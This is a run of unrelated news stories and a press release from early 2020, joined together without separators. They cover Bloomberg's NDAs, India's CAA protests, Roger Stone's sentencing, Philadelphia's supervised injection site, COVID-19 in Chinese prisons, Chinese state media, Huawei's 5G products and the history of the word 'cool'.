in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty "I recognise that NDAs, particularly when they are used in the context of sexual harassment and sexual assault, promote a culture of silence in the workplace and contribute to a culture of women not feeling safe or supported. It is imperative that when problems occur, workplaces not only address the specific incidents, but the culture and practices that led to those incidents. And then leaders must act." Bloomberg has come under attack for the legal arrangements, especially from Elizabeth Warren. Warren, who had a a strong debate performance on Wednesday while attacking Bloomberg, went after him again over the issue on Thursday. The Massachussetts senator drafted a document for Bloomberg to sign which would release the women with accusations against him. "So I used to teach contract law. And I thought I would make this easy. I wrote up a release and covenant not to sue. And all that Mayor Bloomberg has to do is download it. I'll text it. Sign it. And then the women, or men, will be free to speak and tell their own stories," Warren said at a CNN town hall. Less than 24 hours later, she had her way. It is unclear what allegations the women tied to these agreements made against the former mayor of New York. Congress MLA Arif Masood on Thursday launched the campaign named 'save the Constitution' by distributing posters reading 'No CAA, No NRC, NO NPR' which were pasted by people outside their homes . The drive was conducted in the Bapu colony here as a way of protest against the Citizenship Amendment Act (CAA), Register of Citizens (NRC) and the Population Register (NPR). Speaking to media, Masood said, "The way hate is spread in the country and Baba Saheb Ambedkar's Constitution is getting destroyed, we have started a drive to tell that this country will be lead by the Constitution and not by Godse's ideology." "Every religion gives adherence to the Constitution and today there are attempts to destroy the Constitution therefore I came to a locality of my constituency in Bapu Colony. I requested people here to paste posters reading 'NO NRC, NO CAA'. One of the locals, Geeta Bai said, "They have given me poster so I just pasted it on my home's wall. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Paris: The Financial Action Task Force (FATF) has lashed out at Pakistan for spreading terror. 39 FATF members have said that Pakistan should work on 13 action plans against terror by June 2020. Pakistan should take action against the heads of terrorist groups and get them punished. With this, whether or not Pakistan will remain in the gray list of FATF, a decision will be taken today. Pakistan's postal department in poor condition, lack of employee This time Pakistan has become completely isolated in the FATF meeting. No country supported the terrorist policy of Pakistan. Only one country, Turkey, supported Pakistan, but not one. The FATF warned Pakistan against not taking action against terror. Pakistan was earlier put on the gray list of the FATF in June 2018 and was granted until October 2019 to work on an action plan, which if not completed, was blacklisted with Iran and North Korea. Insert was warned. Scindia supporters targets Kamal Nath government with the poster Subsequently, in October 2019, the FATF had decided to keep Pakistan in the gray list till February, ordering the implementation of the 27-point action plan. After this, in January this year, FATF met again in Beijing, China, in which Pakistan gave a list to implement the action plan. Patra's big statement on Waris and Amulya, "Constitution in Owaisi's hands and Pathan in heart" The AMU Teachers Association has taken a serious umbrage at Chief Minister Yogi Adityanath's allegation that over 15,000 varsity students protesting against CAA on December 15 last year had wanted to burn the Aligarh city. While speaking on the Motion of Thanks to the governor's address in the Uttar Pradesh assembly on Wednesday, the chief minister had said, "I had alerted the Aligarh administration after the violence at Jamia Millia Islamia university. There were 15,000 students of AMU, who took to streets, wanted to burn Aligarh city but their game plan was averted by an alert police, Adityanath had stated. The AMU teachers described the chief minister's statement as "highly irresponsible" and "travesty of truth". In a letter to the President of India, the AMUTA secretary, Prof Najmul Islam, on Thursday demanded that the chief ministers statement should be expunged as he has tarnished the image of a leading institution of higher without verifying facts. The AMUTA in its letter said the entire issue is subjudice and any person occupying such a high office should refrain from issuing such inflammatory statements. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Factory orders hit a six-month high in February amid 'early signs' of a turnaround. The monthly trends survey by the Confederation of British Industry (CBI) said manufacturing reported the shift during the month as political certainty improved. The balance of manufacturers seeing increased orders improved to a reading of minus 18 for the month, from minus 22 in January. The monthly trends survey by the Confederation of British Industry (CBI) said manufacturing reported the shift during the month as political certainty improved This surpassed analysts' expectations of minus 19 but is still significantly below the survey's long-run average of minus 13 as the sector continues to come under pressure. The survey of 318 firms reported that order books improved slightly, to their strongest positions in six months. However, output volumes the number of items produced remained weak, falling for a fifth consecutive period. Some 15 per cent of manufacturers reported total order books to be above normal, while 33 per cent said they were below normal. Alpesh Paleja, lead economist at the CBI, said: 'It's probably still too early to say whether we've seen the end of the slowdown in the sector.' WASHINGTON For nearly 50 years, Roger J. Stone Jr. taunted the political gods of fate, unleashing a torrent of dirty tricks on behalf of President Trump and his other well-connected clients and daring his adversaries to come after him, certain that the pursuit would make him richer and famous. On Thursday, history may have finally caught up with him. But as is often the case with Mr. Stone, there may be an escape clause. In a Washington courtroom, the dapper Republican political consultant who once declared, I revel in your hatred, because if I werent effective, you wouldnt hate me was sentenced to more than three years in prison for trying to help Mr. Trump dodge accusations that his 2016 campaign conspired with the Russians. Whether Mr. Stone, 67, will actually spend years behind bars may depend on the durability of his long and tumultuous friendship with Mr. Trump, who strongly hinted on Thursday that he might pardon his on-again, off-again adviser. Im going to let this process play out, Mr. Trump said, but he added that Roger Stone and everybody has to be treated fairly. This has not been a fair process. People protest outside of the Federal Courthouse in Center City, Philadelphia on Thursday, Sept. 5, 2019. Protesters gathered outside of the courthouse while the backers of Safehouse, the nonprofit aiming to open a first-of-its-kind supervised injection site in Philadelphia, were inside court for a hearing before a judge who will decide whether what they propose is illegal. Read more With Philadelphias supervised injection site inches closer to opening, the city and the sites backers have begun making plans to protect its clients and the surrounding neighborhood. City officials have released a public safety plan for the area around the site, whose location has not yet been announced. And late last month, Safehouse, the nonprofit behind the site, hosted a training session for site escorts who will help clients get inside. The concern is that they might have to wade through protesters and federal officials who have threatened to shut down the site. The scenario may sound familiar, given similar measures at some abortion providers. But Philadelphia is blazing a new trail here, as it is set to become the first American city with an officially sanctioned place for people in addiction to use drugs under medical supervision. Long established in Canada and European countries, the sites are considered a harm reduction strategy, needed to keep people in addiction alive. Philadelphia has had the nations highest big-city fatal overdose rate for several years. A federal judge ruled in October that Safehouses proposal did not violate federal law, but Safehouse officials have asked for an additional final ruling in their favor on the matter, and have said they plan to open as soon as possible after that ruling is handed down. The citys safety plan is intentionally broad and doesnt designate any particular location. It wasnt site-specific, and it doesnt need to be site-specific, city Managing Director Brian Abernathy said in an interview. But city officials have laid out the plan in-person to neighbors in Kensington, the community at the epicenter of Philadelphias overdose crisis, and which is considered a likely location for a site. South Philadelphia, which also has been especially hard hit by overdoses, is another area that has been discussed. Theres a lot of anxiety around an overdose prevention site, Abernathy said, using the citys term for the facilities, where people in addiction will be able to use their own drugs under medical supervision, be revived if they overdose, and access treatment and other services. READ MORE: Philadelphia to get nations first supervised injection site: How we got here Police will patrol the area, and narcotics officers will target any dealers trying to sell drugs around the site, Abernathy said. According to a summary on the citys website, officials have committed to ensuring that drug sales, crime, and loitering will not increase around the site; that Safehouse clients respect residents and businesses safety and property; and that clients are not intimidated as they approach the site. Local police will neither interfere with nor assist federal authorities who have threatened to shut down the site and arrest its clients, Abernathy said. After the initial federal ruling last fall, U.S. Attorney William McSwain said he planned to appeal and later threatened to use all enforcement tools at his disposal to shut down any site that opens before the appeals process was complete. Drug seizures, arrests, and criminal forfeiture proceedings are all on the table, he has said. Were not going to interfere, but were not going to assist, Abernathy said. We have to see how federal law enforcement responds when a site is open. At Safehouses training for site escorts last month, representatives from Philadelphias chapter of the American Civil Liberties Union advised volunteers on how to shepherd clients past law enforcement on their way into the site. When the site opens, there may be a circus-like atmosphere, said Mary Catherine Roper, an ACLU lawyer. There will be angry neighbors, press, and people trying to get in and out of the building. Youre there to give heart, be a bit of a shield, and de-escalate the situation. She advised potential site escorts to ask federal law enforcement officers who try to question clients on their way into the site whether they are being detained, or whether they are free to leave. Part of your job with a participant is to say, We can go, Roper said. Safehouse and Abernathy have declined to comment on where a first site might open, or what it might look like. But Peter Goldberger, a criminal defense appeals lawyer who also spoke at last months meeting, said it was likely that the site would be part of a larger medical facility, not a standalone storefront. That kind of location could help shield clients looking to use the site, he said, explaining that entering a medical facility isnt enough to provide reasonable suspicion of a crime. Abernathy said the city will monitor its own police operations on the site and modify them as necessary. There is going to need to be significant outreach from the operators to make sure folks feel comfortable, he said. Were going to have to learn as we go and adjust deployment. Things change over time the needs are going to change over time. We have to be flexible. The Save Our Sisters (SOS) forum, which spearheaded the protests against rape accused Bishop Franco Mulakkal in 2018, on Friday alleged 'cover up' by police after fresh reports claimed that another nun had given a statement against the top priest alleging sexual harassment. The SOS alleged that the police failed to act in the sexual harassment charges levelled against the former Jalandhar diocese Bishop by the nun, who is also a key witness in the 'nun rape case'. According to the media reports, another nun belonging to the Missionaries of Jesus congregation, who is the 14th witness in the rape case, had given a statement to the investigation team in September 2018 alleging that the Bishop had sent her lewd messages on her phone in 2015. "Police did not register a case in the second case of sexual allegations against the Bishop by the nun. We suspect the role of influential people in keeping the nun's statement secret so far. It is a mystery," SOS convener Felix J Pulloodan and joint convener Shaiju Antony said in a statement in Kochi. They demanded a thorough probe into the case. The SOS expressed apprehension that the nun, who is currently with the Missionaries of Jesus congregation under Jalandhar diocese, will be forced to change her statement 'yielding to the pressure tactics of the Bishop and his supporters'. Police have not reacted to the reports of fresh allegations quoting the statement given to the investigation team by the second nun. A statement issued by Fr. Peter, PRO to Bishop Franco Mulakkal, criticised the media for 'propagating' a statement given by a witness in the case a year ago. The priest said the statement of the witness-nun was part of the charge sheet submitted by the investigation team in the court. 'That statement of the nun is propagated through media with a wrong intention, that too on the eve of the Bishop's discharge petition to be considered by the court. It is seen as a bid to indirectly influence the court proceedings,' said the statement signed by Peter. Sister Anupama, one of the nuns who took part in the public protest here demanding rape-accused Mulakkal's arrest, said she and her fellow nuns, who stood by the rape survivor, were not aware of the fresh sexual allegations levelled against the Bishop. "We see it as a divine intervention. We are happy that more people are coming out openly against Bishop Franco Mulakkal," Anupama told PTI when asked about the reports. Meanwhile, a lower court in Kottayam will consider on Saturday a discharge plea filed by Mulakkal in connection with the rape case. In his plea filed before the Additional District and Sessions Court-I, Mulakkal has claimed that prima facie there was no case to frame charges against him. The Bishop filed the discharge plea as the court was about to commence the preliminary hearing on the rape charges against him. The rape case is based on a complaint filed against Mulakkal by the nun. In her complaint to the police in June, 2018, the nun had alleged that she was subjected to sexual abuse by the Bishop during 2014 and 2016. Mulakkal was arrested in September 2018 by the Special Investigation Team probing the case. The SIT has charged him with wrongful confinement, rape, unnatural sex and criminal intimidation. Hundreds of inmates in prisons in the central and eastern China have been infected with the novel coronavirus (COVID-19), according to the country's health authorities. Prisons in the central province of Hubei and the eastern provinces of Zhejiang and Shandong have reported more than 500 confirmed cases of the virus, with some officials sanctioned over their handling of the epidemic there. Wuhan Women's Prison, in Hubei's provincial capital, was the worst affected, with a total of 230 confirmed cases, while Shayang Hanjin Prison had reported 41 cases, according to official figures. Meanwhile, Rencheng Prison in Shandong has been closed to outsiders since the beginning of the month, after two prison guards tested positive for the virus. Since then, 207 confirmed cases have been reported, of seven guards and 200 prisoners. Shandong provincial justice department Chinese Communist Party secretary Xie Weijun was removed from his position, taking the blame for poor epidemic prevention and control practices. He is currently under investigation by the Party's investigative arm, the Central Commission for Discipline Inspection (CCDI). Meanwhile, 34 prisoners have been diagnosed with COVID-19 in Zhejiang's Shilifeng Prison, where political commissar and the prison director have been removed from office, while a guard has been placed under investigation. Wang Quanzhang visit denied The prison has also been placed under lockdown to prevent further spread of the epidemic. At Shandong's Linyi Prison, Li Wenzu, wife of jailed human rights lawyer Wang Quanzhang, was denied permission for her monthly visit, with prison authorities citing the coronavirus epidemic. "I asked them if we could use other methods, for example talking via [social media app] WeChat video," Li told RFA on . "They said no, that wouldn't be possible." "Then I asked if I could talk with Wang Quanzhang on the phone, just to be sure he's OK," she said. "I have been calling them every day, but they told me they are waiting for the prison leader[s] to get back to them." "It's not going to happen anyway, because they don't allow anything," she said. "I asked if I could visit him twice next month, but they said no." Shandong lawyer Zhu Shengwu said the epidemic has been allowed to run unchecked in prisons in the region. "There is a collective exercise period in prison, and they all get let out at noon together," Zhu said. "The Communist Party also ... expects prisoners to carry out free or very low-paid labor which requires them all to be working alongside each other, so there is plenty of opportunity for the virus to spread." 'Trying to look transparent' He said the sackings and sanctions against prison officials was "to appease public opinion, both domestically and internationally." "They are trying to look transparent, saying that they will deal with officials severely and correct any mistakes." Former rights activist Yang Zhanqing, who has served time in prison, said hygiene standards are low in prisons at the best of times, with overcrowding rife. "There were originally 15 beds in one cell, but there were often 20-30 people in a cell," he said. "Towels and other supplies need to be paid for, the prison uniforms are very dirty, and the bedding is very dirty too." "Once someone is infected, then there is a big danger [that the virus will spread]." Authorities in Hubei reported a total of 2,144 deaths from COVID-19 on, out of a total of 2,236. Mainland China reported a total of 76,467 confirmed cases out of a global total of 76,787. Reported by Gao Feng for RFA's Mandarin Service, and by Wong Siu-san and Sing Man for the Cantonese Service. Translated and edited by Luisetta Mudie. By Trend The development of ties with Italy, a member of the EU, may contribute to the expansion of Azerbaijans relations with this structure, Azerbaijani MP Musa Gasimli told Trend Feb. 21. Having said that the state visit of Azerbaijani President Ilham Aliyev to Italy is important from several points of view, the MP noted above all that this is one of the successful steps in Azerbaijans foreign policy. Gasimli reminded that Italian-Azerbaijani relations have deep historical roots. Back in the Middle Ages, Italian travelers were in Azerbaijan and showed interest in the country, said the MP. In 1918-1920, certain relations were established between Azerbaijan and Italy and until 1922 there were political and diplomatic ties of various kinds. During the Soviet period, the Azerbaijan SSR through the central power maintained relations with Italy. Some types of products manufactured in Azerbaijan were supplied to Italy, certain cultural ties existed. Gasimli noted that in 1991, after Azerbaijan regained state independence, opportunities emerged to establish direct ties with Italy. The MP added that of course, the visit of Azerbaijans National Leader Heydar Aliyev to Italy opened a new page in the relations between the two countries. After this visit, the legal framework of Azerbaijani-Italian relations was expanded and cooperation began to develop in various fields, said Gasimli. In subsequent years, thanks to efforts by President Ilham Aliyev, Azerbaijani-Italian relations have risen to a whole new level. Reminding that Baku and Naples are twin cities, the MP noted that the Azerbaijani-Italian relations have great prospects. Gasimli added that the talks held by the Azerbaijani president in Rome once again show the presence of these prospects. Italy is one of the seven most influential countries in the world, having weight in world politics and economics, the MP said. Italy is one of Azerbaijans most important trade partners. Visit by President Ilham Aliyev to Italy shows the presence of great potential and prospects for bilateral relations, therefore, I believe that this visit of the head of state will give more dynamics to the development of relations between the two countries and will reveal new promising areas for cooperation. On Feb. 19, President Ilham Aliyev paid a state visit to Italy, and on Feb. 20, the head of state held a number of official meetings in Rome. On the same day, after the meeting between Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte in an expanded format, a ceremony of Azerbaijani-Italian documents exchange was held. The Italy-Azerbaijan Business Forum will be held in Rome Feb. 21. -- Follow us on Twitter @AzerNewsAz A fisherman who spent 15 hours in freezing water has credited his German Shepherd with saving his life. Lance Schloss fell into the ocean when huge waves tipped his boat over in Moreton Bay, Queensland, on Wednesday. Mr Schloss' German Shepherd Heidi trod water for 11 hours before a fisherman spotted her about 6am on Thursday. The fisherman alerted authorities and a desperate search began for Mr Schloss. Mr Schloss' German Shepherd Heidi trod water for 11 hours before a fisherman spotted her about 6am on Thursday A Rescue 500 helicopter, four police vessels, Marine Safety Queensland jet ski, Volunteer Marine Coast Guard and Volunteer Marine Rescue were all used in the search for the missing man. The search team found several items which indicated that the boat and its owner was in trouble. They eventually found the 63-year-old clinging to a sunken 4.1 metre vessel about 10.25am. He was taken to hospital to be checked and was not seriously injured. Heidi was also taken to the vet and was uninjured. 'Ever since these guys found me its been a great relief,' the 63-year-old told The Today Show. 'Anything could happen out there but it all worked out in the end.' Mr Schloss said he got into trouble when large waves toppled his boat. 'I just got swamped and tipped completely out,' he said. 'It was a matter of staying with the boat...and make myself as comfortable as possible for the night.' In the back of his mind Mr Schloss was worried about sharks and other dangerous sea animals but he had faith that nothing would happen to him. 'You take as many precautions as you can, and trust in luck, trust in God,' he said. 'But it worked out fine. That's why I stayed as close as possible to the boat and got out of the water as soon as I could, climbed up on top.' Mr Schloss, 63, was found clinging to his sunken 4.1 metre boat (pictured) about 10.25am The pair were reunited (pictured) following the extensive ordeal Mr Schloss was stranded out at sea for 15 hours before he was located by Queensland Water Police about 10.25 am on Thursday. He was taken to hospital and was not seriously injured. Heidi was also taken to the vet and was uninjured. Senior Sergeant Jay Bairstow told the program that Heidi saved Mr Schloss's life and commended the rescue team for their hard work and dedication. 'Without Heidi, we wouldn't have known we had to search for Lance,' he said. 'I think it was just the dedication of all the Water Police staff, the volunteers, both Coast Guard and Volunteer Marine Rescue and other Government agencies who continued to search until they found a result.' Senior Sergeant Jay Bairstow (left) said that Heidi saved Mr Schloss's (right)life and commended the rescue team for their hard work and dedication He said it was important for boat owners to be prepared for the worst no matter where they are going. 'We would take this opportunity to remind boaties to plan for the worst when they're out on the water,' he said. 'Always wear personal flotation device and ensure that your safety equipment, including EPIRBs, are tested and in good order. 'Thankfully there was a happy ending to this search and Heidi was able to be our honorary PD for the day.' Journalists working for Chinas state media in the US and around the world are paid to report the news as Beijing sees fit. They underplay Chinas challenges and extol its virtues. They publish Chinese government press releases disguised as news stories to undermine US positions, including the defense of pro-democracy protesters in Hong Kong. They inform the Chinese people through their news outlets, but also provide specialized and secret dispatches to senior Communist Party officials. Some working Chinese reporters have been credibly accused of engaging in espionage. Despite this record, Chinese journalists in the US operate with freedom. Meanwhile, the Chinese government actively restricts the work of US reporters, monitoring their movements, controlling their travel, and intimidating their sources. Its an infuriating situation, and so it was not entirely surprising that the US State Department announced Tuesday that it has designated five state-run Chinese media entities as foreign missions. Because the five news organizations have been deemed to be substantially owned or effectively controlled by a foreign government, they will now be required to provide the State Department with the names and personal information of all of their staff and also to declare any real-estate holdings. In applying the foreign mission designation, the US appears to be on solid legal ground. But that doesnt make it a good idea. THE MEDIA TODAY: The misshapen pieces of Googles disinformation magazine While the designation is unlikely to have a material impact on reporters working for Chinese state media in the USthey will still be able to travel freely and interview whomever they wishBeijing has reacted angrily, calling the move an example of ideological prejudice and Cold War zero-sum game mentality. The risk is that the Chinese government will take reprisals against reporters working for US media outlets in China, further restricting the flow of information in the midst of a global health emergency, the spread of COVID-19. In fact, on Wednesday, the day after the US made the announcement, China ordered the expulsion of the three Wall Street Journal reporters, a move the Foreign Correspondents Club of China called unprecedented. While the Chinese Foreign Ministry ascribed the expulsion to anger over an offensive headline in a Journal opinion published earlier this month, the timing seems like more than a coincidence. All three Journal reportersDeputy bureau chief Josh Chin and reporters Chao Deng and Philip Wenhave covered sensitive but vitally important stories, including official corruption and the mass detention of Muslims in Xinjiang. Deng is currently in Wuhan to cover the COVID-19 outbreak. Sign up for CJR 's daily email The expulsion of the Wall Street Journal reporters comes amidst a sweeping effort by the Chinese government to manage and control reporting on the outbreak, undermining public trust and confidence at a critical moment. The lack of accurate and timely information has also fueled wild rumors, forcing the World Health Organization to clarify on its website that you cant get the coronavirus from your pet. Chinese authorities initially sought to suppress news, delaying a response that might have slowed the spread of the disease. Many experts continue to believe that China is underreporting the number of infections. Several bloggers and activists who have criticized Chinas response have been detained or gone missing. On February 6, Chen Qiushi a freelance video journalist who reported via video that local hospitals were struggling to handle the large number of patients, disappeared. He is likely in Chinese government custody. China is also engaging in widespread Internet censorship, disrupting the flow of critical information to those in need. Alarmingly, the Chinese governments approachattempting to control and manage informationis spreading around the world as its own kind of virus. In Malaysia, authorities criminally charged a journalist who posted alarmist information on her Facebook page. The Thai Prime Minister Prayut Chan-o-cha threatened to arrest any journalist who spread fake news about the illness. Iran arrested several social-media users for spreading propaganda to scare public opinion before finally admitting this week that several cases had been detected inside the country. Even in Nigeria, where no known cases of the virus have been reported, five television journalists were arrested and held for several days on incitement charges. Chinese media both inside the country and around the world serve a propaganda function and it can be frustrating to see journalists working for state media in the US enjoying the legal protections extended to a free press. Yet seeking to regulate or control Chinese state media in this country is likely to be counterproductive because it turns journalists into diplomatic pawns and provides a framework that favors Chinese censors who are already seeking to control the work of the international media. US Secretary of State Mike Pompeo condemned the expulsion of the Journal reporters on Wednesday, noting [m]ature, responsible countries understand that a free press reports facts and expresses opinions. The correct response is to present counter arguments, not restrict speech. His statement would be more credible and carry more weight if he didnt represent an administration that routinely denigrates and dismisses the work of the press, denouncing journalists as fake news and the enemy of the people. Pompeo also has some personal baggage, notably his shameful treatment of NPR Morning Edition co-host Mary Louise Kelly, who had the temerity to ask him a difficult question. A more practical response would be for the US to lower the temperature by suspending the foreign mission designation for Chinese state media. Meanwhile, China should restore the credentials for the Wall Street Journal reporters, and relax the censorship practices in the interest of public health. ICYMI: A pipeline runs through Southern news deserts Has America ever needed a media watchdog more than now? Help us by joining CJR today Joel Simon is the outgoing executive director of the Committee to Protect Journalists, which he led for fifteen years. A regular contributor to the Columbia Journalism Review, he has also been published by the New York Times, the Washington Post, The Guardian, and the Wall Street Journal. [February 21, 2020] Huawei Unveils 10 Key Enablers for Accelerating Global Commercial Adoption of 5G SHENZHEN, China, Feb. 21, 2020 /CNW/ -- Yang Chaobin, President of Huawei 5G Product Line, unveiled Huawei's 10 key enablers of 5G, including the full-series all-scenario ultra-broadband products and solutions to facilitate all frequency band evolution to 5G, and the innovative end-to-end super uplink and slicing solutions to help operators build full-service capabilities. These offerings are intended to better cater for end users, home users, and industry users to secure business success in the 5G era. #1 Extensive 5G Commercial Experience to Accelerate 5G Scale Deployment According to the latest GSA update, by the end of 2019, 62 telecom operators in 34 countries had officially announced the commercial release of 5G, and 41 of them are supported by Huawei, accounting for two thirds of the total figure. "Despite constant pressure from the outside world, Huawei is still forging ahead. Our 5G products and solutions have been favored by the majority of worldwide telecom operators. All these commercial deployment experiences will be utilized to improve product performance to meet customer expectations and help telecom operators deploy 5G commercial networks more economically and efficiently," said Yang Chaobin. #2 Comprehensive Portfolios to Provide Consistent 5G Ultimate Experience From the very onset of 5G construction, both capacity and coverage must be planned carefully in order to provide a consistent user experience. Huawei has the comprehensive product portfolio for all kinds of scenarios. The three-layer networking architecture, including macro base stations for basic coverage and capacity, Easy Marco deployed at pole sites for coverage supplement, and LampSite for indoor digital systems, enables seamless coverage and a consistent, enjoyable experience for end users. In addition, Huawei has released the industry's lightest Massive MIMO AAU. It weighs only 25 kg and can be transported and installed by a single person, but delivers a guaranteed performance. It greatly improves operators' network construction efficiency. #3 Industry's Only Ultra-Broadband Solution, Simplifying Network Deployment In the 5G era, continuous large-bandwidth TDD spectrum is the optimum choice for achieving an ultimate 5G experience. However, a significant number of telecom operators only get discontinuous segments of spectrums due to satellite occupation or discrete allocation. Huawei has launched the industry's only full series of ultra-broadband solutions, which support a maximum bandwidth of 400 MHz. With just one module, all discrete spectrums within 400 MHz can be used. It saves modules and simplifies site deployment, greatly slashing site rental and hardware cost for telecom operators. #4 Exclusive Blade AAU, All in One for Simplified Deployment As Yang Chaobin said, "In the process of mobile communications development, telecom operators have been using greater numbers of antenna units as a solution for insufficient sites and poles. Now they have to deal with insufficient antenna installation space. Huawei's unique Blade AAU, which prides itself on 'ultimate simplicity,' aims to reduce operators' TCO and investment in hardware and site." Blade AAU integrates the active 5G AAU and passive 2G/3G/4G antennas into one box, and constrains the total height around 2 meters to support all sub-6 GHz frequency bands. Operators can use it to replace 3G/4G antennas to facilitate 5G deployment with single antenna space. In addition, the integrated design greatly simplifies site installation, which in turn improves 5G construction efficiency, accelerating overall deployment. Favored by operators since its release, this product has been put into commercial use on commercial networks in Switzerland and China. #5 Industry's First Commercial DSS Solution, Enabling Fast FDD NR Deployment 2020 will see large-scale 5G deployment worldwide. Apart from the mainstream 5G deployment on mid-band spectrums, operators can also deploy 5G networks on sub-3 GHz FDD to achieve fast 5G coverage. For new FDD spectrums, Huawei's suggestion is direct 5G deployment on them to significantly improve the FDD spectral efficiency with NR technologies. It is proven that NR operating at an FDD frequency can deliver an impressive improvement in user experience compared to that of LTE. For existing FDD spectrums, Huawei's 1 ms dynamic spectrum sharing (DSS) solution can be adopted. This technology dynamically allocates spectrum resources in milliseconds based on LTE and 5G service and traffic requirements, maximizing spectral efficiency. "In November 2019, Huawei DSS was put into commercial use in Europe. Until now, our customers have 100 million legacy FDD RRUs that can be adapted efficiently to 5G using this solution," said Yang Chaobin. #6 Cutting-Edge Algorithm Enables Leading Network Performance "Huawei has undergone extensive R&D, innovation, and commercial adoption in Massive MIMO. We have complete product portfolios and state-of-the-art algorithms to keep our Massive MIMO performance unrivaled. In terms of software algorithms, Huawei has MU-MIMO, SRS, full-channel beamforming and more to provide optimal capacity, coverage and user experiences. In 2019, Huawei helped LG U+ in South Korea, EE in the UK, and Sunrise in Switzerland to deploy 5G commercial networks. In the third-party network performance tests conducted by RootMetrics and Connect, Huawei helped its operators rank No.1 in user experience, with an average downlink rate of 1.5 to 2 times higher than that of competitors' networks, which further demonstrates Huawei's superior Massive MIMO performance in actual commercial use," said Yang Chaobin. #7 Low Energy Consumption Makes Green 5G Energy efficiency is another prerequisite for sustainable and healthy development of mobile communications networks, particularly for 5G. Huawei provides complete energy-saving solutions. They leverage innovative product technologies, new site forms, and AI-based network-wide coordination to reduce per-bit 5G power consumption. Huawei resorts to innovative chip process design and algorithms, high-quality hardware materials, and advanced heat dissipation technologies to deliver 50 times larger cell capacity with the same energy consumption for 5G AAUs in comparison to 4G RRUs. In addition, the AI-based coordinated energy saving solution maintains satisfactory KPIs in different scenarios, whilst leveraging symbol, channel, or carrier shutdown across network modes and frequency bands based on service requirements to achieve more refined and accurate energy saving at the network-level. #8: E2E NSA/SA Converged Solution for Future Industry Digitalization "5G is not only about providing a better experience for all end users. It is also pivotal for industry digitization, which sets 5G apart from its previous generations. 3GPP Release 16 is about to be finalized this year, and by then 5G will have more comprehensive capabilities for ultra-reliable low-latency communication (URLLC). It has become a common understanding in the industry that SA is the ultimate architecture of 5G network. Huawei supports both NSA and SA from end to end in terms of the radio access network, core network, chipset, and terminal, which will further help operators build full-service capabilities for consumers, homes, and all industries," said Yang Chaobin. #9 Unique E2E SUL to Unlock UL Experience and Latency for Industry Needs The traditional TDD system design focuses on eMBB requirements, of which the downlink capability is much higher than the uplink capability, thus it would fail to meet the requirements of large uplink capability and low latency for industry applications, such as a 4K/8K live broadcast. To address this issue, Huawei has launched the innovative end to end Super Uplink solution. It coordinates TDD and FDD spectrums to unlock the uplink capabilities and significantly reduce latency. In addition, it can enable TDD system to work with Full SUL bands to significantly improve uplink capabilities. The test results on telecom operators' networks show that, it reduces latency by 30% and increases the uplink rate by up to four times. The 3GPP organization has officially accepted this innovative technology. #10 E2E Network Slicing Solution Facilitates Industry Digitalization To better support industrial digitalization, Huawei has launched the end-to-end slicing solution that spans the radio access network, core network, transport network, and terminals. Telecom operators and industry customers can enable diversified services on demand and provide guaranteed high bandwidth and low latency to secure business success. The solution can be applied to a variety of industry scenarios, such as telemedicine, smart port, smart factory, and cloud AR/AR. Overall, this allows industry users to reduce costs and improve efficiency, whilst simultaneously enabling telecom operators to explore new markets. "Every new generation of mobile communications technologies is developed to offer more applications and a better experience. 5G is no exception. 5G coverage must be good enough to provide excellent experience, and 5G experience must be better than any of the previous generations. Huawei's products and solutions are committed to carrying forward this mission. 2020 will be a key year for 5G to be put into commercial use on a larger scale. "No one can whistle a symphony, it takes an orchestra to play it." We hope to work with global partners to continuously carry out technology and application innovations, which utilize 5G as the connection platform, together with AI and Cloud technologies, to jointly build a healthy, viable, and sustainable digital ecosystem," said Yang Chaobin. View original content to download multimedia:http://www.prnewswire.com/news-releases/huawei-unveils-10-key-enablers-for-accelerating-global-commercial-adoption-of-5g-301009039.html SOURCE Huawei Technologies [ Back To TMCnet.com's Homepage ] In the American film Pulp Fiction, actor Samuel L. Jackson challenges two criminals. They are trying to take money from all of the people in a restaurant. Jackson plays the part of a former criminal who used to carry out targeted killings. He wants to change his life and does not want to hurt people anymore. But he does not want to give his money to criminals either. Jackson asks one of the criminals to use an adjective. He asks her to describe Fonzie, a character from the old American television show Happy Days. Nobodys gonna hurt anybody. Were all gonna be like three little Fonzies here. And whats Fonzie like? Come on, Yalonda, whats Fonzie like? Cool. What? Cool. Correctamundo! And that is what we are going to be were gonna be cool. Today, we will explore the term that Jackson wanted to hear: cool, a word that has both formal and casual uses. The casual, everyday uses of cool will be our topic of discussion. But first, we begin with a little history. History Cool has its roots in the Old English term col, meaning not warm, notes the Online Etymology Dictionary. Google Ngram has evidence of cool being used as far back as the 16th century. In other words, cool has a long history. The writer William Shakespeare even used the term in many of his plays, including Othello and Much Ado About Nothing. But cools meanings have changed over time. By the 20th century, among its other meanings, cool eventually came to suggest a kind of effortlessness. Fonzie, the character you heard about at the beginning of this report, gives you one example of the idea. He does humorous, wonderful things without seeming to try very hard. Yet Fonzie did not invent cool. Some people claim this effortless, stylish way of acting is a product of African-American art. Joel Dinerstein wrote a book called The Origins of Cool in Postwar America. He says cool came from an artistic movement led primarily by black musicians. 